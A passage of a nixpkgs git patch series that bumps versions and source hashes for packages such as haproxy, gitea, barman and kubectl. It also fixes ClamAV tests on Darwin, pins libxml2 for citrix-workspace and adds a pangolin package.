maintainers = with lib.maintainers; [ coroa pbogdan ]; From f46c5996037647a075807b23b9f62418830bdbbd Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sat, 21 Jun 2025 09:02:16 +0000 Subject: [PATCH 080/390] haproxy: 3.2.0 -> 3.2.1 --- pkgs/by-name/ha/haproxy/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ha/haproxy/package.nix b/pkgs/by-name/ha/haproxy/package.nix index 6f6064061d31..389c0fb29ecc 100644 --- a/pkgs/by-name/ha/haproxy/package.nix +++ b/pkgs/by-name/ha/haproxy/package.nix @@ -42,11 +42,11 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "haproxy"; - version = "3.2.0"; + version = "3.2.1"; src = fetchurl { url = "https://www.haproxy.org/download/${lib.versions.majorMinor finalAttrs.version}/src/haproxy-${finalAttrs.version}.tar.gz"; - hash = "sha256-92KuMbyhtR/rieQ5Xjbhf4Z8JTcqEIU8cNKSw90Xt7A="; + hash = "sha256-uz+Wenl8iFHQhoPsQ9+v5K179a2G+msHIcrQM+qeWuU="; }; buildInputs = From acd12841e72494c08b561b3ba08ed2887db122ce Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sat, 21 Jun 2025 10:14:35 +0000 Subject: [PATCH 081/390] python3Packages.pytubefix: 9.1.1 -> 9.2.0 --- pkgs/development/python-modules/pytubefix/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/pytubefix/default.nix b/pkgs/development/python-modules/pytubefix/default.nix index cf1e8abd0334..48c91f3d3feb 100644 --- a/pkgs/development/python-modules/pytubefix/default.nix +++ b/pkgs/development/python-modules/pytubefix/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "pytubefix"; - version = "9.1.1"; + version = "9.2.0"; pyproject = true; src = fetchFromGitHub { owner = "JuanBindez"; repo = "pytubefix"; tag = "v${version}"; - hash = "sha256-OKOP1kDPYXMQkVOITSxYqMYQvtVom8VCaLnCBYEhgR8="; + hash = "sha256-Jnqgttcz6HuZ8PpTQMspFu6CTtdqUzOkuKiiNivxE1s="; }; build-system = [ setuptools ]; From ace78c7d30d96f37f1480ede7ba6afa0d3cb41d9 Mon Sep 17 00:00:00 2001 From: Ryan Omasta Date: Sat, 21 Jun 2025 05:58:23 -0600 Subject: [PATCH 082/390] gitea: 1.24.0 -> 1.24.2 https://github.com/go-gitea/gitea/releases/tag/v1.24.2 Diff: https://github.com/go-gitea/gitea/compare/v1.24.0...v1.24.2 --- pkgs/by-name/gi/gitea/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/gi/gitea/package.nix b/pkgs/by-name/gi/gitea/package.nix index e7c6f0a02568..a4237f3685f2 100644 --- a/pkgs/by-name/gi/gitea/package.nix +++ b/pkgs/by-name/gi/gitea/package.nix @@ -35,18 +35,18 @@ let in buildGoModule rec { pname = "gitea"; - version = "1.24.0"; + version = "1.24.2"; src = fetchFromGitHub { owner = "go-gitea"; repo = "gitea"; tag = "v${gitea.version}"; - hash = "sha256-lKeqoNL6RMjhm9egk6upbovJaWwm3r2kxi0Z9bjNxtI="; + hash = "sha256-NQSilSF/W69j1qEYYmlQfu2T0OefB+8yf9rCHAL8a6c="; }; proxyVendor = true; - vendorHash = "sha256-nC8y3skBhnOo7Ki9nc7Ni6UpheArB8bGK4AR/1Gdjr0="; + vendorHash = "sha256-VmlF86Sv6R2NmCtWi4kZ4rfmFAjgMB1RU/1jmnPiIkw="; outputs = [ "out" From a47a09d02425355b27ccf64503e6699810e954b4 Mon Sep 17 00:00:00 2001 From: Wulpey Date: Sat, 21 Jun 2025 15:11:52 +0300 Subject: [PATCH 083/390] postman: 11.46.6 -> 11.50.5 https://www.postman.com/release-notes/postman-app/#11-50-5 --- pkgs/by-name/po/postman/darwin.nix | 4 ++-- pkgs/by-name/po/postman/linux.nix | 4 ++-- pkgs/by-name/po/postman/package.nix | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pkgs/by-name/po/postman/darwin.nix b/pkgs/by-name/po/postman/darwin.nix index 3deccfeeb464..56975ac3bae6 100644 --- a/pkgs/by-name/po/postman/darwin.nix +++ b/pkgs/by-name/po/postman/darwin.nix @@ -13,12 +13,12 @@ let { aarch64-darwin = { arch = "arm64"; - sha256 = "sha256-w1zu+sK8JqBMGBaKPYGJqddEWYWCv1aJRM+Q91l5dPw="; + sha256 = "sha256-KOvYt3VL1hZAyf6T+3whMTyhHgndnlZO0e3L1KtDxqE="; }; x86_64-darwin = { arch = "64"; - sha256 = "sha256-dlRK6NpDskuIW0nuf9mWx/xolOnGmH77ny+2ADaD7QU="; + sha256 = "sha256-LCpxbDgcIbVmA7RYykli7gLGb0FWQ4LigxghZYEv1Bk="; }; } .${stdenvNoCC.hostPlatform.system} diff --git a/pkgs/by-name/po/postman/linux.nix b/pkgs/by-name/po/postman/linux.nix index a98ea9f4310c..0ef467c78746 100644 --- a/pkgs/by-name/po/postman/linux.nix +++ b/pkgs/by-name/po/postman/linux.nix @@ -56,12 +56,12 @@ let { aarch64-linux = { arch = "arm64"; - sha256 = "sha256-XtY5SmYoU2OhX69jRb8uSGwx5vPiSfgmF2jY7mJIrTY="; + sha256 = "sha256-XOQam1W7YT0YDesDR51G/cH318DcxpnAEiJg2JZU3Q4="; }; x86_64-linux = { arch = "64"; - sha256 = "sha256-eEgUk3VnahmFua8UrNMUi2lG0UujiuDTs64XqaAkYe8="; + sha256 = "sha256-TE/AMWkj80+22WaOG2BK6vt4NnMSpBq9hQMwSPiQ12A="; }; } .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); diff --git a/pkgs/by-name/po/postman/package.nix b/pkgs/by-name/po/postman/package.nix index b763a0f08ef4..dff2edd7b72f 100644 --- a/pkgs/by-name/po/postman/package.nix +++ b/pkgs/by-name/po/postman/package.nix @@ -6,7 +6,7 @@ let pname = "postman"; - version = "11.46.6"; + version = "11.50.5"; meta = with lib; { homepage = "https://www.getpostman.com"; changelog = "https://www.postman.com/release-notes/postman-app/#${ From 058653fcf2b11c9554424ce2562feaba233e6425 Mon Sep 17 00:00:00 2001 From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com> Date: Sat, 21 Jun 2025 17:25:49 +0300 Subject: [PATCH 084/390] koboldcpp: 1.92 -> 1.94 Changelog: https://github.com/LostRuins/koboldcpp/releases/tag/v1.94 Diff: https://github.com/LostRuins/koboldcpp/compare/v1.92...v1.94 --- pkgs/by-name/ko/koboldcpp/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ko/koboldcpp/package.nix b/pkgs/by-name/ko/koboldcpp/package.nix index 69170ecc2d58..35551dadaef1 100644 --- a/pkgs/by-name/ko/koboldcpp/package.nix +++ b/pkgs/by-name/ko/koboldcpp/package.nix @@ -41,13 +41,13 @@ let in effectiveStdenv.mkDerivation (finalAttrs: { pname = "koboldcpp"; - version = "1.92"; + version = "1.94"; src = fetchFromGitHub { owner = "LostRuins"; repo = "koboldcpp"; tag = "v${finalAttrs.version}"; - hash = "sha256-tVY8j3RlRiZ3UK5YTzyhV77nk97jRF8frtjq4Ws84WU="; + hash = "sha256-qWH8yGjDTkMPLHjfMopfQKyBA5T1HHgllEH9Joceq3s="; }; enableParallelBuilding = true; From a17a5f0711dcc557dc96f60cafe462193155dfed Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sat, 21 Jun 2025 14:28:33 +0000 Subject: [PATCH 085/390] ciao: 1.24.0-m1 -> 1.25.0-m1 --- pkgs/by-name/ci/ciao/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ci/ciao/package.nix b/pkgs/by-name/ci/ciao/package.nix index 025ec757b86b..bda9db0bab05 100644 --- a/pkgs/by-name/ci/ciao/package.nix +++ b/pkgs/by-name/ci/ciao/package.nix @@ -6,12 +6,12 @@ stdenv.mkDerivation rec { pname = "ciao"; - version = "1.24.0-m1"; + version = "1.25.0-m1"; src = fetchFromGitHub { owner = "ciao-lang"; repo = "ciao"; rev = "v${version}"; - sha256 = "sha256-vjDiYL6yVfLo7NrVKdYRxMUrg7aqQHTezqNoDJcsEuI="; + sha256 = "sha256-jsHz50+R/bs19ees3kKYalYk72ET9eSAAUY7QogI0go="; }; configurePhase = '' From 5e3aab16040afe6fed8d31aa9d08441992126889 Mon Sep 17 00:00:00 2001 From: Michael Daniels Date: Sat, 21 Jun 2025 12:53:31 -0400 Subject: [PATCH 086/390] clamav: fix tests on sandboxed Darwin --- pkgs/by-name/cl/clamav/package.nix | 9 +++++---- .../cl/clamav/remove-freshclam-test.patch | 20 ------------------- ...configuration-file-install-location.patch} | 0 ...xistent-file-with-proper-permissions.patch | 13 ++++++++++++ 4 files changed, 18 insertions(+), 24 deletions(-) delete mode 100644 pkgs/by-name/cl/clamav/remove-freshclam-test.patch rename pkgs/by-name/cl/clamav/{sample-cofiguration-file-install-location.patch => sample-configuration-file-install-location.patch} (100%) create mode 100644 pkgs/by-name/cl/clamav/use-non-existent-file-with-proper-permissions.patch diff --git a/pkgs/by-name/cl/clamav/package.nix b/pkgs/by-name/cl/clamav/package.nix index 50d7e8d87a60..e1c0fb47a873 100644 --- a/pkgs/by-name/cl/clamav/package.nix +++ b/pkgs/by-name/cl/clamav/package.nix @@ -34,9 +34,8 @@ stdenv.mkDerivation rec { }; patches = [ - # Flaky test, remove this when https://github.com/Cisco-Talos/clamav/issues/343 is fixed - ./remove-freshclam-test.patch - ./sample-cofiguration-file-install-location.patch + ./sample-configuration-file-install-location.patch + ./use-non-existent-file-with-proper-permissions.patch ]; enableParallelBuilding = true; @@ -69,7 +68,9 @@ stdenv.mkDerivation rec { "-DAPP_CONFIG_DIRECTORY=/etc/clamav" ]; - doCheck = true; + # Seems to only fail on x86_64-darwin with sandboxing + doCheck = !(stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64); + __darwinAllowLocalNetworking = true; checkInputs = [ python3.pkgs.pytest diff --git a/pkgs/by-name/cl/clamav/remove-freshclam-test.patch b/pkgs/by-name/cl/clamav/remove-freshclam-test.patch deleted file mode 100644 index 93078b52aaad..000000000000 --- a/pkgs/by-name/cl/clamav/remove-freshclam-test.patch +++ /dev/null @@ -1,20 +0,0 @@ -diff --git a/unit_tests/CMakeLists.txt b/unit_tests/CMakeLists.txt -index 1460357ba..1194abc9d 100644 ---- a/unit_tests/CMakeLists.txt -+++ b/unit_tests/CMakeLists.txt -@@ -371,15 +371,6 @@ if(ENABLE_APP) - set_property(TEST clamd_valgrind PROPERTY ENVIRONMENT ${ENVIRONMENT} VALGRIND=${Valgrind_EXECUTABLE}) - endif() - -- add_test(NAME freshclam COMMAND ${PythonTest_COMMAND};freshclam_test.py -- WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}) -- set_property(TEST freshclam PROPERTY ENVIRONMENT ${ENVIRONMENT}) -- if(Valgrind_FOUND) -- add_test(NAME freshclam_valgrind COMMAND ${PythonTest_COMMAND};freshclam_test.py -- WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}) -- set_property(TEST freshclam_valgrind PROPERTY ENVIRONMENT ${ENVIRONMENT} VALGRIND=${Valgrind_EXECUTABLE}) -- endif() -- - add_test(NAME sigtool COMMAND ${PythonTest_COMMAND};sigtool_test.py - WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}) - set_property(TEST sigtool PROPERTY ENVIRONMENT ${ENVIRONMENT}) diff --git a/pkgs/by-name/cl/clamav/sample-cofiguration-file-install-location.patch b/pkgs/by-name/cl/clamav/sample-configuration-file-install-location.patch similarity index 100% rename from pkgs/by-name/cl/clamav/sample-cofiguration-file-install-location.patch rename to pkgs/by-name/cl/clamav/sample-configuration-file-install-location.patch diff --git a/pkgs/by-name/cl/clamav/use-non-existent-file-with-proper-permissions.patch b/pkgs/by-name/cl/clamav/use-non-existent-file-with-proper-permissions.patch new file mode 100644 index 000000000000..0cbc3cb6583d --- /dev/null +++ b/pkgs/by-name/cl/clamav/use-non-existent-file-with-proper-permissions.patch @@ -0,0 +1,13 @@ +diff --git a/unit_tests/check_clamd.c b/unit_tests/check_clamd.c +index 2f526709a..df67c36ed 100644 +--- a/unit_tests/check_clamd.c ++++ b/unit_tests/check_clamd.c +@@ -144,7 +144,7 @@ static void conn_teardown(void) + #define CLEANREPLY CLEANFILE ": OK" + #define UNKNOWN_REPLY "UNKNOWN COMMAND" + +-#define NONEXISTENT PATHSEP "nonexistentfilename" ++#define NONEXISTENT PATHSEP "tmp" PATHSEP "nonexistentfilename" + + #define NONEXISTENT_REPLY NONEXISTENT ": File path check failure: No such file or directory. ERROR" + From 41cc14c5267cf614eabf22ba6de1d161fa32dc35 Mon Sep 17 00:00:00 2001 From: Ojas Kavathe Date: Sun, 22 Jun 2025 00:41:39 +0530 Subject: [PATCH 087/390] vulkan-validation-layers: fix Darwin build by enabling robin-hood-hashing --- pkgs/by-name/vu/vulkan-validation-layers/robin-hood-hashing.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/by-name/vu/vulkan-validation-layers/robin-hood-hashing.nix b/pkgs/by-name/vu/vulkan-validation-layers/robin-hood-hashing.nix index 3b36912bc5f7..a384fad8199e 100644 --- a/pkgs/by-name/vu/vulkan-validation-layers/robin-hood-hashing.nix +++ b/pkgs/by-name/vu/vulkan-validation-layers/robin-hood-hashing.nix @@ -27,7 +27,7 @@ stdenv.mkDerivation rec { meta = with lib; { description = "Faster, more efficient replacement for std::unordered_map / std::unordered_set"; homepage = "https://github.com/martinus/robin-hood-hashing"; - platforms = platforms.linux; + platforms = platforms.unix; license = licenses.mit; maintainers = [ ]; }; From 1a1030a04bcf55221eb186cd159b4f5b9b870869 Mon Sep 17 00:00:00 2001 From: Patrick Date: Sat, 3 May 2025 10:31:28 +0200 Subject: [PATCH 088/390] netbird-dashboard: 2.9.0 -> 2.12.0 --- pkgs/by-name/ne/netbird-dashboard/package.nix | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/pkgs/by-name/ne/netbird-dashboard/package.nix b/pkgs/by-name/ne/netbird-dashboard/package.nix index f16f1d5e2e51..e696c9130df2 100644 --- a/pkgs/by-name/ne/netbird-dashboard/package.nix +++ b/pkgs/by-name/ne/netbird-dashboard/package.nix @@ -6,16 +6,16 @@ buildNpmPackage rec { pname = "netbird-dashboard"; - version = "2.9.0"; + version = "2.12.0"; src = fetchFromGitHub { owner = "netbirdio"; repo = "dashboard"; rev = "v${version}"; - hash = "sha256-PY/jK96FK6Y0++Ie4Yg/7GrGoLtLcgCSzXIkqySxe2M="; + hash = "sha256-AZ8vrDtpVADW8NMq/MBpYd6VSMcuFzk67UXoXdPeiPk="; }; - npmDepsHash = "sha256-TELyc62l/8IaX9eL2lxRFth0AAZ4LXsV2WNzXSHRnTw="; + npmDepsHash = "sha256-XNAphh1zNi4enf0Mz9TUgWyZHezTuctMPTBswKO4eW8="; npmFlags = [ "--legacy-peer-deps" ]; installPhase = '' @@ -30,6 +30,8 @@ buildNpmPackage rec { description = "NetBird Management Service Web UI Panel"; homepage = "https://github.com/netbirdio/dashboard"; license = licenses.bsd3; - maintainers = with maintainers; [ ]; + maintainers = with maintainers; [ + patrickdag + ]; }; } From 27d61867d2d84e2aa06ff5c501f30c04e787adc9 Mon Sep 17 00:00:00 2001 From: Austin Horstman Date: Fri, 20 Jun 2025 16:11:40 -0500 Subject: [PATCH 089/390] citrix-workspace: fix libxml2 build incompatibility Breaking ABI change for libxml2 recently, need to override to use supported libxml version. Signed-off-by: Austin Horstman --- .../networking/remote/citrix-workspace/generic.nix | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/pkgs/applications/networking/remote/citrix-workspace/generic.nix b/pkgs/applications/networking/remote/citrix-workspace/generic.nix index e794bbb21854..35f7f893a8d3 100644 --- a/pkgs/applications/networking/remote/citrix-workspace/generic.nix +++ b/pkgs/applications/networking/remote/citrix-workspace/generic.nix @@ -55,6 +55,7 @@ libsecret, libcanberra-gtk3, sane-backends, + fetchurl, homepage, version, @@ -87,6 +88,14 @@ let ''; }; + libxml2' = libxml2.overrideAttrs rec { + version = "2.13.8"; + src = fetchurl { + url = "mirror://gnome/sources/libxml2/${lib.versions.majorMinor version}/libxml2-${version}.tar.xz"; + hash = "sha256-J3KUyzMRmrcbK8gfL0Rem8lDW4k60VuyzSsOhZoO6Eo="; + }; + }; + in stdenv.mkDerivation rec { @@ -157,7 +166,7 @@ stdenv.mkDerivation rec { libsecret libsoup_2_4 libvorbis - libxml2 + libxml2' llvmPackages.libunwind libgbm nspr From 97df806e127928013840935248409a2c36187c8d Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sat, 21 Jun 2025 21:10:41 +0000 Subject: [PATCH 090/390] python3Packages.gguf: 0.16.3 -> 0.17.1 --- pkgs/development/python-modules/gguf/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/gguf/default.nix b/pkgs/development/python-modules/gguf/default.nix index 6fff27f52329..d1bdd9313a7b 100644 --- a/pkgs/development/python-modules/gguf/default.nix +++ b/pkgs/development/python-modules/gguf/default.nix @@ -11,14 +11,14 @@ }: buildPythonPackage rec { pname = "gguf"; - version = "0.16.3"; + version = "0.17.1"; format = "pyproject"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-7muCe/g8iZ/oJ2vsJ2xDpvaxyLgCfvvr+kyPqFKl09U="; + hash = "sha256-Nq1xqtkAo+dfyU6+lupgKfA6TkS+difvetPQPox7y1M="; }; dependencies = [ From 06f284bd822275c0b62bc619d2eaf5c1fe6384d9 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 04:47:33 +0000 Subject: [PATCH 091/390] wluma: 4.9.0 -> 4.10.0 --- pkgs/by-name/wl/wluma/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/wl/wluma/package.nix b/pkgs/by-name/wl/wluma/package.nix index 7de4756258e2..ee7b1c8a117b 100644 --- a/pkgs/by-name/wl/wluma/package.nix +++ b/pkgs/by-name/wl/wluma/package.nix @@ -16,13 +16,13 @@ rustPlatform.buildRustPackage rec { pname = "wluma"; - version = "4.9.0"; + version = "4.10.0"; src = fetchFromGitHub { owner = "maximbaz"; repo = "wluma"; tag = version; - hash = "sha256-K/AJP+2J+u83sCCbyXvCLh51Ip979nSnb0bjT22Y2+0="; + hash = "sha256-gO7l0VnOs6BoBxZKkkXyxiBP7JB+G8ScrfuADNveys4="; }; postPatch = '' @@ -35,7 +35,7 @@ rustPlatform.buildRustPackage rec { ''; useFetchCargoVendor = true; - cargoHash = "sha256-+uJ9SytwucYiuzTwdKTAfHb81LyV9NZmGOlzm6Qjftw="; + cargoHash = "sha256-UFe+/qJ9jCJ0QtSeY9QFT8VPXQGWIG2tqay+WE2rhKU="; nativeBuildInputs = [ makeWrapper From 0d76ae1c625fe6e4be7aa8300419bbd1d1f1d049 Mon Sep 17 00:00:00 2001 From: Sizhe Zhao Date: Sun, 22 Jun 2025 14:05:26 +0800 Subject: [PATCH 092/390] barman: fix changelog --- pkgs/by-name/ba/barman/package.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix index f5696dcab8f5..0883a8a0b7df 100644 --- a/pkgs/by-name/ba/barman/package.nix +++ b/pkgs/by-name/ba/barman/package.nix @@ -62,7 +62,7 @@ python3Packages.buildPythonApplication rec { meta = { description = "Backup and Recovery Manager for PostgreSQL"; homepage = "https://www.pgbarman.org/"; - changelog = "https://github.com/EnterpriseDB/barman/blob/release/${src.tag}/NEWS"; + changelog = "https://github.com/EnterpriseDB/barman/blob/${src.tag}/RELNOTES.md"; mainProgram = "barman"; license = lib.licenses.gpl3Plus; maintainers = with lib.maintainers; [ freezeboy ]; From 7fe12ac61bddad80916c555293c0f591be78f81d Mon Sep 17 00:00:00 2001 From: Sizhe Zhao Date: Sun, 22 Jun 2025 14:09:07 +0800 Subject: [PATCH 093/390] barman: add update script --- pkgs/by-name/ba/barman/package.nix | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix index 0883a8a0b7df..b2d1aab44320 100644 --- a/pkgs/by-name/ba/barman/package.nix +++ b/pkgs/by-name/ba/barman/package.nix @@ -4,6 +4,7 @@ fetchFromGitHub, python3Packages, versionCheckHook, + nix-update-script, }: python3Packages.buildPythonApplication rec { @@ -59,6 +60,15 @@ python3Packages.buildPythonApplication rec { "test_get_file_mode" ]; + passthru = { + updateScript = nix-update-script { + extraArgs = [ + "--version-regex" + "^release/(\\d+\\.\\d+\\.\\d+)$" + ]; + }; + }; + meta = { description = "Backup and Recovery Manager for PostgreSQL"; homepage = "https://www.pgbarman.org/"; From 8816ae8e9c492a2c5a205d7f1c4edfbba4fa6e70 Mon Sep 17 00:00:00 2001 From: Sizhe Zhao Date: Sun, 22 Jun 2025 14:11:21 +0800 Subject: [PATCH 094/390] barman: fix building with python 3.13 --- pkgs/by-name/ba/barman/package.nix | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix index b2d1aab44320..5303f302fa88 100644 --- a/pkgs/by-name/ba/barman/package.nix +++ b/pkgs/by-name/ba/barman/package.nix @@ -2,6 +2,7 @@ lib, stdenv, fetchFromGitHub, + fetchpatch2, python3Packages, versionCheckHook, nix-update-script, @@ -19,7 +20,14 @@ python3Packages.buildPythonApplication rec { hash = "sha256-ffedLH7b/Z1y+yL5EkFJIGdksQZEKc3uu3KOyNc2plw="; }; - patches = [ ./unwrap-subprocess.patch ]; + patches = [ + ./unwrap-subprocess.patch + # fix building with Python 3.13 + (fetchpatch2 { + url = "https://github.com/EnterpriseDB/barman/commit/931f997f1d73bbe360abbca737bea9ae93172989.patch?full_index=1"; + hash = "sha256-0aqyjsEabxLf4dpC4DeepmypAl7QfCedh7vy98iVifU="; + }) + ]; build-system = with python3Packages; [ distutils From d00bf419a2822f8d9c23af5d76086d48978c74a4 Mon Sep 17 00:00:00 2001 From: Sizhe Zhao Date: Sun, 22 Jun 2025 14:11:21 +0800 Subject: [PATCH 095/390] barman: 3.13.3 -> 3.14.1 --- pkgs/by-name/ba/barman/package.nix | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/pkgs/by-name/ba/barman/package.nix b/pkgs/by-name/ba/barman/package.nix index 5303f302fa88..22a7882acb61 100644 --- a/pkgs/by-name/ba/barman/package.nix +++ b/pkgs/by-name/ba/barman/package.nix @@ -4,20 +4,21 @@ fetchFromGitHub, fetchpatch2, python3Packages, + rsync, versionCheckHook, nix-update-script, }: python3Packages.buildPythonApplication rec { pname = "barman"; - version = "3.13.3"; + version = "3.14.1"; pyproject = true; src = fetchFromGitHub { owner = "EnterpriseDB"; repo = "barman"; tag = "release/${version}"; - hash = "sha256-ffedLH7b/Z1y+yL5EkFJIGdksQZEKc3uu3KOyNc2plw="; + hash = "sha256-Z3+PgUJcyG/M05hMmIhRr3HttzHUDx7BGIs44LA/qE4="; }; patches = [ @@ -49,12 +50,13 @@ python3Packages.buildPythonApplication rec { python-snappy ]; - nativeCheckInputs = with python3Packages; [ - mock - pytestCheckHook + nativeCheckInputs = [ + python3Packages.lz4 + python3Packages.mock + python3Packages.pytestCheckHook + python3Packages.zstandard + rsync versionCheckHook - zstandard - lz4 ]; disabledTests = From 85e7a555e06e634682cd55bb3767aa05e21eac84 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 07:22:57 +0000 Subject: [PATCH 096/390] catppuccin-sddm: 1.0.0 -> 1.1.0 --- pkgs/by-name/ca/catppuccin-sddm/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ca/catppuccin-sddm/package.nix b/pkgs/by-name/ca/catppuccin-sddm/package.nix index 1de2521a5f42..4a26920b6aa2 100644 --- a/pkgs/by-name/ca/catppuccin-sddm/package.nix +++ b/pkgs/by-name/ca/catppuccin-sddm/package.nix @@ -12,13 +12,13 @@ }: stdenvNoCC.mkDerivation rec { pname = "catppuccin-sddm"; - version = "1.0.0"; + version = "1.1.0"; src = fetchFromGitHub { owner = "catppuccin"; repo = "sddm"; rev = "v${version}"; - hash = "sha256-SdpkuonPLgCgajW99AzJaR8uvdCPi4MdIxS5eB+Q9WQ="; + hash = "sha256-mDOiIGcpIvl4d3Dtsb2AX/1OggFEJ+hAjCd2LH7lqv0="; }; dontWrapQtApps = true; From cc39a38afb43fd7c20b289c1ae676e65bdf9cc8b Mon Sep 17 00:00:00 2001 From: jack Date: Sun, 8 Jun 2025 11:25:38 +0200 Subject: [PATCH 097/390] fosrl-pangolin: init at 1.2.0 --- pkgs/by-name/fo/fosrl-pangolin/package.nix | 66 ++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 pkgs/by-name/fo/fosrl-pangolin/package.nix diff --git a/pkgs/by-name/fo/fosrl-pangolin/package.nix b/pkgs/by-name/fo/fosrl-pangolin/package.nix new file mode 100644 index 000000000000..e9fa117d694c --- /dev/null +++ b/pkgs/by-name/fo/fosrl-pangolin/package.nix @@ -0,0 +1,66 @@ +{ + lib, + fetchFromGitHub, + esbuild, + buildNpmPackage, + inter, +}: + +buildNpmPackage rec { + pname = "pangolin"; + version = "1.2.0"; + + src = fetchFromGitHub { + owner = "fosrl"; + repo = "pangolin"; + tag = version; + hash = "sha256-2yrim4pr8cgIh/FBuGIuK+ycwImpMiz+m21H5qYARmU="; + }; + + npmDepsHash = "sha256-fi4e79Bk1LC/LizBJ+EhCjDzLR5ZocgVyWbSXsEJKdw="; + nativeBuildInputs = [ esbuild ]; + # Replace the googleapis.com Inter font with a local copy from nixpkgs + # based on + # https://github.com/NixOS/nixpkgs/blob/f7bf574774e466b984063a44330384cdbca67d6c/pkgs/by-name/ne/nextjs-ollama-llm-ui/package.nix + postPatch = '' + substituteInPlace src/app/layout.tsx --replace-fail \ + "{ Figtree, Inter } from \"next/font/google\"" \ + "localFont from \"next/font/local\"" + + substituteInPlace src/app/layout.tsx --replace-fail \ + "Inter({ subsets: [\"latin\"] })" \ + "localFont({ src: './Inter.ttf' })" + + cp "${inter}/share/fonts/truetype/InterVariable.ttf" src/app/Inter.ttf + ''; + + preBuild = '' + npx drizzle-kit generate --dialect sqlite --schema ./server/db/schemas/ --out init + ''; + + installPhase = '' + runHook preInstall + mkdir -p $out/ + + cp -r .next/standalone/* $out/ + cp -r .next/standalone/.next $out/ + + cp -r .next/static $out/.next/static + cp -r dist $out/dist + cp -r init $out/dist/init + + cp server/db/names.json $out/dist/names.json + cp -r public $out/public + cp -r node_modules $out/ + runHook postInstall + ''; + + meta = { + description = "Tunneled reverse proxy server with identity and access control"; + homepage = "https://github.com/fosrl/pangolin"; + changelog = "https://github.com/fosrl/pangolin/releases/tag/${version}"; + license = lib.licenses.agpl3Only; + maintainers = with lib.maintainers; [ jackr ]; + platforms = lib.platforms.linux; + }; +} From 91e22a6afb596a5525515f1e0e159766b8ce85ea Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Sun, 22 Jun 2025 09:01:29 +0000 Subject: [PATCH 098/390] kubectl: 1.33.1 -> 1.33.2 --- pkgs/applications/networking/cluster/kubernetes/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/applications/networking/cluster/kubernetes/default.nix b/pkgs/applications/networking/cluster/kubernetes/default.nix index 982eb15fcecb..54b88925986b 100644 --- a/pkgs/applications/networking/cluster/kubernetes/default.nix +++ b/pkgs/applications/networking/cluster/kubernetes/default.nix @@ -22,13 +22,13 @@ buildGoModule (finalAttrs: { pname = "kubernetes"; - version = "1.33.1"; + version = "1.33.2"; src = fetchFromGitHub { owner = "kubernetes"; repo = "kubernetes"; tag = "v${finalAttrs.version}"; - hash = "sha256-fPKLe1P2jsu6pOTqofFrk1048kPOx/mmXYm7/tBzM84="; + hash = "sha256-Ef/tpjM5RGQzO8rZxTad23DuM6VLlV3N54LOu7dtc6A="; }; vendorHash = null; From c70bbdc00e23199d0e35121f97befcb55d343b51 Mon Sep 17 00:00:00 2001 From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com> Date: Wed, 11 Jun 2025 01:06:49 +0300 Subject: [PATCH 099/390] nushell: 104.1 -> 105.1 Changelog: https://www.nushell.sh/blog/2025-06-10-nushell_0_105_1.html Diff: https://github.com/nushell/nushell/compare/0.104.1...0.105.1 --- pkgs/shells/nushell/default.nix | 22 ++++++++-------------- 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/pkgs/shells/nushell/default.nix b/pkgs/shells/nushell/default.nix index 8c3d3ef2b748..26f78f391d96 100644 --- a/pkgs/shells/nushell/default.nix +++ b/pkgs/shells/nushell/default.nix @@ -20,9 +20,8 @@ }: let - version = "0.104.1"; + version = "0.105.1"; in - rustPlatform.buildRustPackage { pname = "nushell"; inherit version; @@ -31,11 +30,11 @@ rustPlatform.buildRustPackage { owner = "nushell"; repo = "nushell"; tag = version; - hash = "sha256-ibQBwcoWzxl7t5q0KpiCiEmAasJJjBg2LMGf28y3sCk="; + hash = 